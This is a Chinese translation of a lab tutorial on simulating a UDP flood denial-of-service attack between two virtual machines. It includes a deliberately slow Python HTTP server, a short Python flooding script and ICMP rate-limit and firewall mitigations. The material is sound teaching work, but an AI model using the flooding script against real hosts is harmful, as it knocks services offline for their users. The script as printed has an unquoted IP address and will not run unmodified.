- 原文地址:How to simulate a UDP Flood DoS attack on your computer
- 原文作者:RiccardoM
- 译文出自:掘金翻译计划
- 本文永久链接:github.com/xitu/gold-m…
- 译者:chaingangway
- 校对者:shixi-li、司徒公子
如何在自己的计算机上模拟 UDP 洪水 DoS 攻击
免责声明:以下教程仅用于教学目的。您只能对自己的计算机执行攻击
UDP 洪水攻击能让服务器拒绝服务,攻击者向目标服务器发送大量 UDP(用户数据报文协议)数据包,以压垮服务器处理和响应传入流量的能力。
攻击者将数据包发送到服务器 IP 地址的随机端口。当服务器收到数据包时:
- 检查是否有程序监听该端口。
- 如果发现没有程序监听;大部分情况都是这样,因为目标端口是随机的。
- 返回 ICMP Destination Unreachable 的数据包。
攻击者的 IP 地址可以伪装,以防止 ICMP 响应包的身份识别和自身资源饱和。
初始化
为了模拟这种攻击,您需要两台虚拟机。网卡必须配置为在子网中并且有自己的地址。我使用的是 VirtualBox 中非常轻量级的两个 BunsenLabs 实例。它们以桥接模式配置网卡。下面是对每个虚拟机的要求:
- 攻击者的虚拟机需要安装 python 3
- 目标服务器需要安装 3.7 及以上版本的 python
服务器端配置
我们将运行一个简单的 HTTP 服务器,以验证服务器受到攻击时性能是否下降。下面是用 Python 编写的服务器端程序。
import sys
import time
import random
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
class DefaultHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header("Cache-Control", "no-cache")
self.end_headers()
n = random.randint(1e7,1e8)
self.wfile.write((("{} is " + ("" if is_prime(n) else "not ") + "a prime number").format(n)).encode("utf-8"))
def base_http_server_start(address="0.0.0.0", port=80):
handler = DefaultHTTPHandler
address = (address, port)
server = ThreadingHTTPServer(address, handler, bind_and_activate=False)
server.server_bind()
server.server_activate()
server.serve_forever()
def is_prime(num):
res = True
for i in range(2, num - 1):
if num % i == 0:
res = False
return res
if __name__ == '__main__':
print("Starting HTTP server on port 80")
base_http_server_start()
通过地址 localhost: 80 访问服务器。在这个服务器程序中,我们生成了一个非常大的随机数,并故意用非常低效的方法检验它是否为质数。通过这种机制,我们在重新加载浏览器页面时就能大致估计服务器的响应时间。响应时间因硬件的计算能力而异,平均值在 5-10 秒左右。
攻击脚本
我们用下面的 Python 脚本执行攻击,这里用到了 socket。
import time
import socket
import random
import sys
victim_ip = 192.168.1.10
duration = 60 # in seconds
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = bytes(random.getrandbits(10))
timeout = time.time() + duration
sent_packets = 0
while time.time() < timeout:
victim_port = random.randint(1025, 65356)
sock.sendto(msg, (victim_ip, victim_port))
sent_packets += 1
在脚本中,我们可以指定目标的 IP 地址和攻击的持续时间。如上所述,每次发送数据包时,我们都会选择一个不同的端口。
攻击
要执行攻击,我们首先需要运行服务器并使用上述方法检查其性能。接下来,在攻击者的虚拟机中,运行执行攻击的脚本。当服务器受到攻击时,由于其忙于处理传入流量并返回 ICMP Destination Unreachable 数据包,我们可以看到其 CPU 使用率在增加。
然后,我们来重新加载浏览器页面并计算服务器的响应时间。很显然看到服务器性能已极具下降。响应时间至少应为正常情况下的两倍。
缓解
Linux 设置
想缓解 UDP 洪水攻击很难。但是我们可以更改操作系统每秒发送的 ICMP 数据包的数量。我们在Linux中使用这两个命令,例如:
sudo sysctl -w net.ipv4.icmp_ratelimit=0
sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1000
第一条命令让 ICMP 响应的速率仅能通过第二条命令的参数来设置。因此,在这种情况下,使用第二个命令,我们就能设置 ICMP 消息的速率为每秒 1000 条 。
我们可以很容易地验证这一点,方法是对服务器持续攻击 10 秒钟,并在服务器上使用 Wireshark 来拦截响应的 ICMP 数据包。我们可以看到在 10s 内大约发送了 10000 个 ICMP 数据包,这是对的,因为,我们将速率设置为每秒 1000 个数据包。
我们可以尝试更改此参数,并使用 Wireshark 检查 10 秒钟内发送的数据包数量如何变化。例如,设置速率为每秒 1 条消息,我们可以捕获大约 10 条消息。
sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1
为这些参数设置最佳值是个难点。因为最佳值取决于我们的硬件,应用程序以及与服务器交互的平均流量。如果我们减少每秒发送的响应数,虽然能减少服务器的负载,但这只是丢弃了更多传入的请求,而没有发送 ICMP 响应包。通过减少参数的值,我们可能会拒绝合法的请求,而没有处理真实用户的流量,这会有更大的风险。因此,我们要有一种折衷的办法。
防火墙
我们还可以使用防火墙来抵御这种攻击。防火墙可以在 UDP 数据包到达服务器之前将其阻止。这样就不会耗费服务器资源。但是,防火墙本身也容易受到此类攻击:它们必须处理传入的流量,并且可能在攻击过程中成为瓶颈。此外,如果我们使用的是有状态的防火墙,虽然可以轻松地阻止来自同一 IP 地址的攻击,但是如果攻击者使用了 IP 欺骗,防火墙的状态表可能会塞满,可用内存将被耗尽。因此,防火墙也不是终极解决方案。
结论
在本文中,我们通过几个简单的步骤模拟攻击,来帮助我们更好地了解其工作原理。您还可以更详细地研究应对攻击的缓解措施,尝试使用不同的参数来配置服务器。这个过程也很有趣,因为这是一种简单而强大的攻击:如上所述,我们很难采取有效的对策来阻止它。如果您对更复杂的基于 UDP 的攻击感兴趣,请查看这个故事,在此我解释了如何利用 NTP 服务器来扩大流量,让受攻击的服务器带宽饱和。
如果发现译文存在错误或其他需要改进的地方,欢迎到 掘金翻译计划 对译文进行修改并 PR,也可获得相应奖励积分。文章开头的 本文永久链接 即为本文在 GitHub 上的 MarkDown 链接。
掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。